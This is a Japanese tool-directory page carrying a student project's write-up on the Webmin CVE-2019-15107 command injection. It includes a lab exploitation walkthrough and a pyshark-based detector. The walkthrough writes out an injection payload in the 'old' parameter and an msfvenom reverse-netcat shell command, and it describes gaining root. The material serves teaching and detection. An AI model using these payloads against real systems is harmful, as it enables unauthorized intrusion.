Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
detect-CVE-2019-15107-by-pyshark — 学校のプロジェクト | Kitploit
ツール/GitHubGitHub/gozn/detect-cve-2019-15107-by-pyshark
パケットスニッフィングと分析脆弱性分析エクスプロイトウェブセキュリティネットワークセキュリティ侵入検知学習と教育
GitHubgozn/detect-cve-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark

学校のプロジェクト

リポジトリを見る
122年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

detect-CVE-2019-15107-by-pyshark

I. CVE-2019-15107 の概要 Webmin は Unix システム管理のための Web ベースのインターフェースです。任意の Web ブラウザを使用して、ユーザーアカウント、Apache、DNS、ファイル共有などを設定できます。 2019年8月10日、トルコのサイバーセキュリティ研究者 Özkan Mustafa Akkuş 氏は DefCon でゼロデイ脆弱性を公表しました。Akkuş 氏は脆弱性の公表に加えて、この脆弱性の悪用を自動化する Metasploit モジュールも公開しました。password_change.cgi ファイルのパスワードリセット機能におけるコード実行の脆弱性により、この脆弱性は第三者による入力認証なしの悪意のあるコード実行を可能にします。 II. 影響を受けるバージョン この脆弱性は Webmin のバージョン 1.882 から 1.921 に影響します。この脆弱性を防ぐために、Webmin を使用している方は最新版の Webmin 1.93 に更新してください。 III. 脆弱性の分析 Webmin の「ユーザーパスワード変更を許可」機能が有効になっている必要があります。これが唯一の条件ですが、多くの Webmin 管理者はこの機能を有効にしています。この機能により、ユーザーは古いパスワードを使用して新しいパスワードを設定できます。Webmin アプリケーションのソースコードには、注目すべき ".cgi" ファイルがいくつかあります。その1つが password_change.cgi です。 image

このファイルのパラメータが機能するための唯一の要件は、設定ファイル "miniserv.conf" 内の "passwd_mode" の値が "2" に設定されていることです。

image

ここでは、古いパスワードの認証プロセス中に /etc/shadow ファイルを読み取るために "|" を使用します。通常のパスワード変更コマンドの例: image

以下のようにパスワード変更コマンドに "ifconfig" のような単純なコマンドを挿入すると、"ipconfig" コマンドが実行され、結果が表示されました。 image

IV. 展開モデル

  • Ubuntu マシン (victim) に Webmin バージョン 1.920 をインストールし、IP アドレス: 192.168.109.128 image

  • Kali マシン (attacker) の IP アドレス: 192.168.109.131 image

 

  • この CVE は、Webmin の古いパスワードが期限切れになったときのパスワードリセット機能に基づいて実行されるため、victim は Webmin を「Prompt users with expired password to enter a new one」モードで設定する必要があります。 image

V. CVE 脆弱性の悪用

  • 最初に、attacker マシンは Burp Suite を使用して、Webmin でパスワードを変更する際に送信されるリクエストをリンク 192.168.109.128:10000/password_change.cgi (victim の IP) からキャプチャします。 image

 

  • 次に、attacker マシンは Burp Suite の Repeater タブを介してこのリクエストを送信し、脆弱性をテストします。 image

  • attacker はキャプチャしたリクエストパケットからいくつかの情報を編集します。パスワードを変更するには、HTTP メソッドが当初の GET ではなく POST である必要があるためです。 image

 

  • 次に、attacker マシンは victim の Webmin サーバーに古いパスワードからパスワードを変更するテストリクエストを送信します: 「user=test&pam=&old=test&new1=test2&new2=test2」 image

  • リクエストを送信すると、古いパスワードが一致しないというメッセージ (The current password is incorrect) が表示されるため、核心は "old" パラメータにあります。

  • 次に、old パラメータの後に ifconfig のような基本的なコマンドを挿入して、サーバーが古いパスワードをチェックするときに挿入したコマンドを実行するようにします。例: 「user=test&pam=&old=test|ifconfig&new1=test2&new2=test2」 image

  • 上記と同様に、サーバーが古いパスワードをチェックするとまだ間違っていますが、そのパスワードをチェックした後、"ifconfig" コマンドが実行されて表示されます。

  • その後、root 権限を取得するために、Metasploit framework を使用してペイロードを作成し、victim の Webmin サーバーに送信してシェルセッションを受け取ります。「msfvenom -p cmd/unix/reverse_netcat lhost= lport=」 image

  • 次に、ペイロードをコピーして Burp Suite のリクエストに挿入します。 image

 

  • ペイロードを含むリクエストを Webmin サーバーに送信すると、victim マシンはリバースシェルに感染しました。attacker マシンは被害者マシン (ip: 192.168.109.128 port 37218) へのシェルセッションを受け取りました。 image

  • このようにして、この CVE の脆弱性を通じて root を取得しました。 image

  VI. 攻撃シグネチャの特定

  • Wireshark を使用してネットワーク層のパケットをキャプチャします。 image

  • この CVE を悪用するには、attacker は /password_change.cgi リンクを使用して、HTTP の POST メソッドを介して悪意のあるペイロードを含むリクエストを送信する必要があるため、Wireshark でキャプチャした HTTP パケットを分析する必要があります。 image

  • Webmin サーバーが変更したい古いパスワードをチェックするプロセスに "ifconfig" コマンドが挿入されていることがわかります。 image image

 

  • したがって、この CVE のシグネチャは、/password_change.cgi リンクを介したパスワード変更プロセス中に渡されるパラメータであると特定できます: 「user=test&pam=&old=test | <attacker が実行したいコマンド> &new1=test2&new2=test2」 VII. CVE-2019-15107 攻撃検出ツールの構築

  • 上記の分析のとおり、attacker がこの CVE を悪用するには、攻撃を実行するために old パラメータ (「古いパスワード」) にコマンドを挿入する必要があります。 image

  • この CVE の脆弱性に基づいてコマンドを挿入しようとしている人を検出するには、"pyshark" ツールを使用して、彼らが送信する HTTP パケットをキャプチャして分析する必要があります。 image

 

  • キャプチャした HTTP パケット内のデータは Hex 形式で返されます。"old=" パラメータと "|" に基づいて、誰かがこの CVE の悪用を試みていることを知ることができます。checkPayload 関数は HTTP パケットに問題があるかどうかを確認します。 image

  • 次に、問題のある HTTP パケットを特定した後、getCommand 関数は attacker が実行しているコマンドを出力します。 image

  • パケットのキャプチャと分析のプロセスも .csv 形式で記録されます。 image

VIII. プログラムのデモ

  • attacker が攻撃を実行すると、プログラムはリアルタイムで警告します。 image

  • プログラムを停止すると、プログラムの実行中にキャプチャしたすべてのトラフィック (HTTP ペイロードは hex 形式) が .csv ファイルに記録されます。 image

  • プログラムは危険な警告のログも記録します。 image

  IX. 結論 授業での学習と実践演習を通じて、マルウェアの調査・分析プロセスをある程度理解することができました。CVE-2019-15107 の脆弱性の悪用と検出プログラムの構築を実施する際、学んだ知識を応用して、シグネチャによる脆弱性検出プログラムの分析と構築を行うことができ、情報の分析・検出・処理能力とネットワークセキュリティ監視の能力を向上させることができました。

ツールをダウンロード